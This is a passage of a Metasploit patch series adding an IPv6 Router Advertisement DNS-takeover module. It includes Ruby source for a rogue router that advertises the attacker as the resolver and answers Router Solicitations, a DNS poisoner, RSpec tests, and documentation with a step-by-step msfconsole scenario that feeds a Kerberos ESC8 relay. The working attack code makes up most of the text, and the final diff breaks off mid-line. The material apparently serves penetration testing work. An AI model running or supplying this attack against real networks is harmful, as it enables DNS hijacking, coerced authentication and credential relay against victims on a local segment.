+ end + + it 'defaults to a router lifetime of 0 (DNS-only, not a default router)' do + router_lifetime = packet.payload[6, 2].unpack1('n') + expect(router_lifetime).to eq(0) + end + + it 'raises the router lifetime when asked to become a router' do + pkt = mod.ipv6_build_ra_dns_packet(smac, ['dead:beef::53'], router_lifetime: 1800) + expect(pkt.payload[6, 2].unpack1('n')).to eq(1800) + end + + it 'carries the RDNSS option advertising the attacker as DNS' do + expect(packet.payload).to include(IPAddr.new('dead:beef::53').hton) + expect(packet.payload).to include([25].pack('C')) # RDNSS option type present + end + + it 'omits the DNSSL search option when no domains are given' do + pkt = mod.ipv6_build_ra_dns_packet(smac, ['dead:beef::53']) + # SLLA (1) + RDNSS (25); no DNSSL (31) option byte at an option boundary + expect(pkt.payload).not_to include("\x1f\x03".b) # type 31, length 3 + end + end +end diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb new file mode 100644 index 0000000000000..be49b4b07cb45 --- /dev/null +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -0,0 +1,54 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/ipv6/ipv6_ra_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/ipv6/ipv6_ra_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: 'fe80::5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + mod.datastore['SPOOF_IP6'] = 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request (via shared NamePoisoner)' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + end + + it 'forwards out-of-scope queries to the default handler' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + end +end From 6b95e6779154b4afd975a6c38233440aaa8e4d7f Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 22:59:00 +0530 Subject: [PATCH 06/11] Answer Router Solicitations in the RA DNS takeover Add a Router Solicitation responder so a client is coerced the moment it boots or refreshes instead of waiting for the next unsolicited advertisement. The Ipv6 mixin gains ipv6_router_solicitation? (ICMPv6 type 133 detection, reading PacketFu's icmpv6_type) and ipv6_solicited_ra_target, which applies RFC 4861 section 6.2.6: unicast the reply to the solicitor, or multicast to all-nodes when the solicitation source is the unspecified address. ipv6_build_ra_dns_packet now takes optional dst_mac/dst_addr so the same builder produces both the multicast unsolicited RA and a unicast solicited reply. The module now runs a single capture thread that multicasts the unsolicited RA on the interval while filtering for RS (BPF icmp6 and ip6[40] == 133) and replying immediately, keeping all pcap access on one handle. A RESPOND_TO_SOLICITS option (default true) gates the responder. Adds 9 specs (RS detection, solicited-target selection, unicast vs multicast reply, nil/non-solicitation handling); rubocop and msftidy clean. --- lib/msf/core/exploit/remote/ipv6.rb | 46 +++++++- .../spoof/ipv6/ipv6_ra_dns_takeover.rb | 103 +++++++++++++----- spec/lib/msf/core/exploit/remote/ipv6_spec.rb | 44 ++++++++ .../spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 55 ++++++++++ 4 files changed, 219 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index 0757dbbf3d01c..4f56da6be73f9 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -390,7 +390,12 @@ def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) # By default router_lifetime is 0, so the client does not adopt us as its # default gateway (a DNS-only takeover that keeps routing untouched and stays # closer to mitm6's stealth). Raise router_lifetime to also become a router. - def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF) + # + # dst_mac/dst_addr default to the all-nodes multicast group for an unsolicited + # RA; pass a specific client MAC and link-local address to unicast a solicited + # RA in response to a Router Solicitation. + def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, + dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') type = 134 # Router Advertisement code = 0 checksum = 0 @@ -406,9 +411,9 @@ def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], r p = PacketFu::IPv6Packet.new p.eth_saddr = smac - p.eth_daddr = '33:33:00:00:00:01' # All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) + p.eth_daddr = dst_mac # Default 33:33:00:00:00:01 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) - p.ipv6_daddr = 'ff02::1' # All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1) + p.ipv6_daddr = dst_addr # Default ff02::1 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1) p.ipv6_hop = 255 p.ipv6_next = 0x3a # ICMPv6 @@ -420,6 +425,41 @@ def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], r p end + # True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation + # (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1). + def ipv6_router_solicitation?(pkt) + return false unless pkt.respond_to?(:is_ipv6?) && pkt.is_ipv6? + return false unless pkt.ipv6_next == 0x3a # ICMPv6 + + # PacketFu parses next-header 58 into an ICMPv6Packet, exposing the message + # type as icmpv6_type; fall back to the first payload byte otherwise. + if pkt.respond_to?(:icmpv6_type) + pkt.icmpv6_type == 133 + else + pkt.payload.to_s[0, 1] == "\x85" # 0x85 = 133 + end + end + + # Decide where to send a solicited Router Advertisement given the source + # link-layer and IPv6 address of a Router Solicitation. Per RFC 4861 section + # 6.2.6, if the solicitation's source is the unspecified address the response + # is multicast to all-nodes; otherwise it is unicast back to the solicitor. + # Returns [dst_mac, dst_addr]. + def ipv6_solicited_ra_target(src_mac, src_addr) + return ['33:33:00:00:00:01', 'ff02::1'] if ipv6_unspecified_address?(src_addr) + + [src_mac, src_addr] + end + + # True if +addr+ is missing or the IPv6 unspecified address (::). + def ipv6_unspecified_address?(addr) + return true if addr.to_s.empty? + + IPAddr.new(addr.to_s).to_i.zero? + rescue IPAddr::Error + true + end + # Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861) def ipv6_build_slla_option(mac) mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6') diff --git a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb index 07828d7603494..ff059659cc58d 100644 --- a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb +++ b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb @@ -18,17 +18,20 @@ def initialize(info = {}) 'Name' => 'IPv6 Router Advertisement DNS Takeover (RDNSS IPv6 DNS coercion)', 'Description' => %q{ This module runs a rogue IPv6 router that advertises the attacker as the - recursive DNS server (RDNSS, RFC 8106) inside periodic Router - Advertisements, and a paired DNS server that poisons names under a target - domain to point at the attacker while transparently forwarding all other - lookups so the victim stays functional. + recursive DNS server (RDNSS, RFC 8106) inside Router Advertisements, and a + paired DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS takeover: instead of answering DHCPv6 Solicits, it multicasts RAs carrying an RDNSS option, which modern Windows (and other RFC 8106 - clients) adopt as their IPv6 resolver. By default the RA does not claim - to be a default router (router lifetime 0), so routing is left untouched - and only DNS is taken over. + clients) adopt as their IPv6 resolver. It also listens for Router + Solicitations and replies with a unicast RA immediately, so a client is + coerced the moment it boots or refreshes rather than waiting for the next + unsolicited advertisement. By default the RA does not claim to be a + default router (router lifetime 0), so routing is left untouched and only + DNS is taken over. Once a client resolves a target service through the attacker, it can be coerced into authenticating to the attacker. Paired with a Kerberos relay @@ -69,6 +72,7 @@ def initialize(info = {}) register_options( [ OptInt.new('RA_INTERVAL', [ true, 'Seconds between unsolicited Router Advertisements.', 30 ]), + OptBool.new('RESPOND_TO_SOLICITS', [ true, 'Also reply to Router Solicitations with an immediate unicast RA.', true ]), OptBool.new('ADVERTISE_SEARCH_DOMAIN', [ true, 'Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution.', true ]), OptBool.new('BECOME_ROUTER', [ true, 'Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover.', false ]) ] @@ -82,8 +86,9 @@ def run start_service print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") - start_ra_advertiser + start_ra_service print_status("Advertising #{datastore['SPOOF_IP6']} as the IPv6 DNS server via Router Advertisements every #{datastore['RA_INTERVAL']}s") + print_status('Responding to Router Solicitations with an immediate unicast RA') if datastore['RESPOND_TO_SOLICITS'] service.wait if service rescue Rex::BindFailed => e @@ -100,41 +105,87 @@ def cleanup private - def start_ra_advertiser + def start_ra_service interface = datastore['INTERFACE'] || ipv6_interface - smac = datastore['SMAC'].presence || begin + @ra_smac = datastore['SMAC'].presence || begin get_mac(interface) rescue StandardError => e fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}") end - shost = datastore['SHOST'].presence || ipv6_link_address('INTERFACE' => interface) - fail_with(Failure::BadConfig, "Could not determine a link-local source address for #{interface}; set SHOST") if shost.to_s.empty? + @ra_shost = datastore['SHOST'].presence || ipv6_link_address('INTERFACE' => interface) + fail_with(Failure::BadConfig, "Could not determine a link-local source address for #{interface}; set SHOST") if @ra_shost.to_s.empty? - domains = datastore['ADVERTISE_SEARCH_DOMAIN'] ? [datastore['TARGET_DOMAIN']] : [] - router_lifetime = datastore['BECOME_ROUTER'] ? 1800 : 0 + @ra_domains = datastore['ADVERTISE_SEARCH_DOMAIN'] ? [datastore['TARGET_DOMAIN']] : [] + @ra_router_lifetime = datastore['BECOME_ROUTER'] ? 1800 : 0 - pkt = ipv6_build_ra_dns_packet( - smac, - [datastore['SPOOF_IP6']], - shost: shost, - domains: domains, - router_lifetime: router_lifetime - ) + # Unsolicited RA is the same packet every time; solicited replies are built + # per client so they can be unicast back. + unsolicited = build_ra_dns_packet + + open_opts = { 'INTERFACE' => interface, 'ARPCAP' => false } + # Only Router Solicitations (ICMPv6 type 133) need to reach the read loop. + open_opts['FILTER'] = 'icmp6 and ip6[40] == 133' if datastore['RESPOND_TO_SOLICITS'] begin - open_pcap('INTERFACE' => interface, 'ARPCAP' => false) + open_pcap(open_opts) rescue StandardError => e fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}") end @ra_pcap_open = true - @ra_thread = framework.threads.spawn('IPv6-RA-Advertiser', false) do - loop do - inject(pkt.to_s) - Rex.sleep(datastore['RA_INTERVAL'].to_i) + @ra_thread = framework.threads.spawn('IPv6-RA-Service', false) { ra_service_loop(unsolicited) } + end + + # Single capture thread: multicast an unsolicited RA on the interval while + # answering Router Solicitations immediately. Using one thread keeps all pcap + # access serialised on the same handle. + def ra_service_loop(unsolicited) + interval = datastore['RA_INTERVAL'].to_i + respond = datastore['RESPOND_TO_SOLICITS'] + last_unsolicited = 0 + + loop do + now = Time.now.to_i + if now - last_unsolicited >= interval + inject(unsolicited.to_s) + last_unsolicited = now end + + handled = respond && handle_router_solicitation(capture.next) + Rex.sleep(0.1) unless handled + end + end + + # Parse a captured frame; if it is a Router Solicitation, reply with an RA + # (unicast to the solicitor, or multicast when its source is unspecified). + # Returns true when a solicitation was answered. + def handle_router_solicitation(bytes) + return false if bytes.nil? + + begin + pkt = PacketFu::Packet.parse(bytes) + rescue StandardError + return false end + return false unless ipv6_router_solicitation?(pkt) + + dst_mac, dst_addr = ipv6_solicited_ra_target(pkt.eth_saddr, pkt.ipv6_saddr) + inject(build_ra_dns_packet(dst_mac: dst_mac, dst_addr: dst_addr).to_s) + print_good("Answered Router Solicitation from #{pkt.eth_saddr} (#{pkt.ipv6_saddr}) -> RDNSS #{datastore['SPOOF_IP6']}") + true + end + + def build_ra_dns_packet(dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') + ipv6_build_ra_dns_packet( + @ra_smac, + [datastore['SPOOF_IP6']], + shost: @ra_shost, + domains: @ra_domains, + router_lifetime: @ra_router_lifetime, + dst_mac: dst_mac, + dst_addr: dst_addr + ) end end diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb index 2980c7d7d7f22..0ed0abfdf4d8c 100644 --- a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -88,5 +88,49 @@ # SLLA (1) + RDNSS (25); no DNSSL (31) option byte at an option boundary expect(pkt.payload).not_to include("\x1f\x03".b) # type 31, length 3 end + + it 'unicasts to a specific client when a destination is given' do + pkt = mod.ipv6_build_ra_dns_packet( + smac, ['dead:beef::53'], + dst_mac: 'aa:bb:cc:dd:ee:ff', dst_addr: 'fe80::abcd' + ) + expect(pkt.eth_daddr).to eq('aa:bb:cc:dd:ee:ff') + expect(pkt.ipv6_daddr).to eq('fe80::abcd') + end + end + + describe '#ipv6_router_solicitation?' do + # An ICMPv6 Router Solicitation (type 133) with an empty body. + let(:rs_packet) do + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [133, 0, 0, 0].pack('CCnN') + PacketFu::Packet.parse(p.to_s) + end + + it 'recognises a Router Solicitation' do + expect(mod.ipv6_router_solicitation?(rs_packet)).to be(true) + end + + it 'rejects a non-solicitation ICMPv6 packet' do + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [134, 0, 0, 0].pack('CCnN') # Router Advertisement + expect(mod.ipv6_router_solicitation?(PacketFu::Packet.parse(p.to_s))).to be(false) + end + end + + describe '#ipv6_solicited_ra_target' do + it 'unicasts back to a solicitor with a real source address' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', 'fe80::5')).to eq(['aa:bb:cc:dd:ee:ff', 'fe80::5']) + end + + it 'multicasts when the solicitation source is unspecified (::)' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', '::')).to eq(['33:33:00:00:00:01', 'ff02::1']) + end + + it 'multicasts when the source address is missing' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', nil)).to eq(['33:33:00:00:00:01', 'ff02::1']) + end end end diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb index be49b4b07cb45..7220d61f7a741 100644 --- a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -51,4 +51,59 @@ def captured_response expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) end end + + describe '#handle_router_solicitation' do + before do + mod.instance_variable_set(:@ra_smac, '00:11:22:33:44:55') + mod.instance_variable_set(:@ra_shost, 'fe80::1') + mod.instance_variable_set(:@ra_domains, []) + mod.instance_variable_set(:@ra_router_lifetime, 0) + end + + def router_solicitation(src_mac: 'aa:bb:cc:dd:ee:ff', src_addr: 'fe80::5') + p = PacketFu::IPv6Packet.new + p.eth_saddr = src_mac + p.ipv6_saddr = src_addr + p.ipv6_daddr = 'ff02::2' + p.ipv6_next = 0x3a + p.payload = [133, 0, 0, 0].pack('CCnN') + p.to_s + end + + it 'answers a solicitation with a unicast RA back to the solicitor' do + injected = nil + allow(mod).to receive(:inject) { |data| injected = data } + + expect(mod.send(:handle_router_solicitation, router_solicitation)).to be(true) + + ra = PacketFu::Packet.parse(injected) + expect(ra.eth_daddr).to eq('aa:bb:cc:dd:ee:ff') + expect(ra.ipv6_daddr).to eq('fe80::5') + expect(ra.icmpv6_type).to eq(134) # Router Advertisement + end + + it 'multicasts the RA when the solicitation source is unspecified' do + injected = nil + allow(mod).to receive(:inject) { |data| injected = data } + + mod.send(:handle_router_solicitation, router_solicitation(src_addr: '::')) + + ra = PacketFu::Packet.parse(injected) + expect(ra.ipv6_daddr).to eq('ff02::1') + end + + it 'ignores a nil read and does not inject' do + expect(mod).not_to receive(:inject) + expect(mod.send(:handle_router_solicitation, nil)).to be(false) + end + + it 'ignores non-solicitation traffic' do + allow(mod).to receive(:inject) + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [128, 0, 0, 0].pack('CCnN') # Echo request, not a solicitation + expect(mod).not_to receive(:inject) + expect(mod.send(:handle_router_solicitation, p.to_s)).to be(false) + end + end end From 09081a70c642439948956bb898c56fa9edf7f7e7 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 23 Jul 2026 15:19:58 +0530 Subject: [PATCH 07/11] Document ipv6_ra_dns_takeover module --- .../spoof/ipv6/ipv6_ra_dns_takeover.md | 117 ++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md diff --git a/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md b/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md new file mode 100644 index 0000000000000..da8576263dad7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +This module runs a rogue IPv6 router that advertises the attacker as the +recursive DNS server (RDNSS, RFC 8106) inside ICMPv6 Router Advertisements, and +a paired DNS server that poisons names under a target domain to point at the +attacker while transparently forwarding every other lookup so the victim stays +functional. + +It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS takeover +(`auxiliary/spoof/dhcp/dhcpv6_dns_takeover`): instead of answering DHCPv6 +solicits, it multicasts Router Advertisements carrying an RDNSS option, which +modern Windows and other RFC 8106 clients adopt as their IPv6 resolver. It also +listens for Router Solicitations and replies with an immediate unicast Router +Advertisement, so a client is coerced the moment it boots or refreshes rather +than waiting for the next unsolicited advertisement. + +By default the advertised router lifetime is 0, so the attacker does not become +the client's default gateway; only DNS is taken over, which keeps routing +untouched and stays closer to mitm6's behaviour. Set `BECOME_ROUTER` to also act +as a router. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is a native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929). This module requires root/administrator privileges to inject +raw ICMPv6 packets and Layer 2 adjacency to the victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Set `INTERFACE` to the interface on the victim's segment +1. Do: `run` +1. Observe Router Advertisements being sent and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned. + +### SPOOF_IP6 + +The attacker's IPv6 address, advertised as the recursive DNS server (RDNSS) and +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address (the DNS-CNAME Kerberos relay trick), steering the victim onto a +name whose SPN the relay module presents to the target. + +### RA_INTERVAL + +Seconds between unsolicited Router Advertisements. Defaults to 30. + +### RESPOND_TO_SOLICITS + +Also reply to Router Solicitations with an immediate unicast Router +Advertisement, so a client is coerced as soon as it boots or refreshes rather +than waiting for the next interval. Enabled by default. + +### ADVERTISE_SEARCH_DOMAIN + +Advertise `TARGET_DOMAIN` as a DNS search list (DNSSL) so the client appends it +when resolving short names, helping steer it onto poisoned FQDNs. Enabled by +default. + +### BECOME_ROUTER + +Also advertise as the default router (router lifetime > 0). Disabled by default +so only DNS is taken over and routing is left untouched. + +### INTERFACE / SMAC / SHOST + +The interface to send Router Advertisements on, and optional overrides for the +source MAC and link-local source address. + +## Scenarios + +### RDNSS DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set INTERFACE eth0 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] Advertising dead:beef::5 as the IPv6 DNS server via Router Advertisements every 30s +[*] Responding to Router Solicitations with an immediate unicast RA +[+] Answered Router Solicitation from aa:bb:cc:dd:ee:ff (fe80::5) -> RDNSS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::5 -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; Router Advertisements are + not routable. +* This is the Router Advertisement (RDNSS) coercion primitive. + `auxiliary/spoof/dhcp/dhcpv6_dns_takeover` is the DHCPv6 equivalent; use + whichever the target network responds to. +* RDNSS in Router Advertisements is honoured by modern Windows (RFC 8106); older + clients may only accept DNS via DHCPv6, in which case use the DHCPv6 module. From df9af117b80fb1c666e33686a9cdded4720ff257 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Tue, 18 Aug 2026 22:31:18 +0530 Subject: [PATCH 08/11] Default SRVHOST to :: in the IPv6 DNS-takeover coercion The rogue DHCPv6 and Router Advertisement modules steer the victim to query the attacker's IPv6 address (SPOOF_IP6), but the paired DNS server inherited SocketServer's 0.0.0.0 SRVHOST default. That binds IPv4 only, so the IPv6 queries the victim was told to send never reached the server and no name was ever poisoned. It also made the A-record branch in NamePoisoner#poison_answers_for hand out 0.0.0.0 for in-scope names. Override the default to :: in the shared NamePoisoner mixin so both modules bind all IPv6 addresses out of the box. In-scope A queries now carry no bogus answer and are forwarded, leaving the victim functional while the AAAA answer we control wins. --- lib/msf/core/exploit/remote/dns/name_poisoner.rb | 6 ++++++ .../spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 15 +++++++++++++++ 2 files changed, 21 insertions(+) diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb index d3ea03bb3c564..11ce65b173a0c 100644 --- a/lib/msf/core/exploit/remote/dns/name_poisoner.rb +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -22,6 +22,12 @@ def initialize(info = {}) register_options( [ + # The victim is steered to query the attacker's IPv6 address (SPOOF_IP6), + # so the paired DNS server has to listen on IPv6. SocketServer defaults + # SRVHOST to 0.0.0.0, which binds IPv4 only and silently drops every IPv6 + # query; default to :: (all IPv6 addresses) instead. This also keeps the + # A-record branch in poison_answers_for from handing out 0.0.0.0. + OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]), OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb index 7220d61f7a741..e255928516a02 100644 --- a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -52,6 +52,21 @@ def captured_response end end + describe 'SRVHOST default (from shared NamePoisoner)' do + it 'defaults to :: so the DNS server binds IPv6 and receives the steered queries' do + expect(mod.datastore['SRVHOST']).to eq('::') + end + + it 'forwards an in-scope A query instead of answering it with the IPv6 SRVHOST' do + # With an IPv6 SRVHOST there is no meaningful A answer, so the query is + # forwarded (victim stays functional) rather than poisoned with a bogus + # address such as the old 0.0.0.0 default. + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'A')) + end + end + describe '#handle_router_solicitation' do before do mod.instance_variable_set(:@ra_smac, '00:11:22:33:44:55') From 6fef895ca093b7d76b729cddb30da254f629ee0e Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 21 Aug 2026 01:21:16 +0530 Subject: [PATCH 09/11] Address Copilot review findings on the IPv6 RA DNS takeover - name_poisoner.rb built the logged peer as a bare "#{host}:#{port}" string, which is ambiguous for IPv6 clients (colon-separated) and goes against the framework convention of using Rex::Socket.to_authority, which brackets IPv6 hosts. - ipv6_build_rdnss_option accepted any string IPAddr can parse, including IPv4 addresses. IPAddr#hton happily returns 4 bytes for an IPv4 address, but the option's length field assumes every address is a 16-byte IPv6 address, so an IPv4 entry would produce a length-inconsistent, malformed RDNSS option instead of a clear error. This is shared library code with no caller-side guard of its own, so validate the address family here. - RA_INTERVAL had no lower bound; 0 or a negative value makes ra_service_loop's own interval check always true, injecting RAs on almost every loop iteration instead of respecting the option. Copilot's suggested fix placed the check inside the loop, but that runs on a spawned background thread where fail_with would not propagate to the console the normal way; validated it synchronously in run instead, alongside the existing SPOOF_IP6 check, matching how this module already validates the MAC address and pcap open before spawning the thread. Added spec coverage for all three. --- lib/msf/core/exploit/remote/dns/name_poisoner.rb | 2 +- lib/msf/core/exploit/remote/ipv6.rb | 7 ++++++- modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb | 1 + spec/lib/msf/core/exploit/remote/ipv6_spec.rb | 4 ++++ .../auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 11 +++++++++++ 5 files changed, 23 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb index 11ce65b173a0c..f837e687c0110 100644 --- a/lib/msf/core/exploit/remote/dns/name_poisoner.rb +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -43,7 +43,7 @@ def on_dispatch_request(cli, data) return if data.strip.empty? req = Rex::Proto::DNS::Packet.encode_drb(data) - peer = "#{cli.peerhost}:#{cli.peerport}" + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) poisoned = false req.question.each do |question| diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index 4f56da6be73f9..323ea5a97d76b 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -360,7 +360,12 @@ def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) servers = Array(dns_servers) raise ArgumentError, 'at least one DNS server is required' if servers.empty? - addresses = servers.map { |addr| IPAddr.new(addr).hton }.join + addresses = servers.map do |addr| + ip = IPAddr.new(addr) + raise ArgumentError, "invalid IPv6 address: #{addr}" unless ip.ipv6? + + ip.hton + end.join # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address. length_units = 1 + (2 * servers.length) diff --git a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb index ff059659cc58d..6cb91174b9e5f 100644 --- a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb +++ b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb @@ -81,6 +81,7 @@ def initialize(info = {}) def run validate_ipv6!(datastore['SPOOF_IP6'], 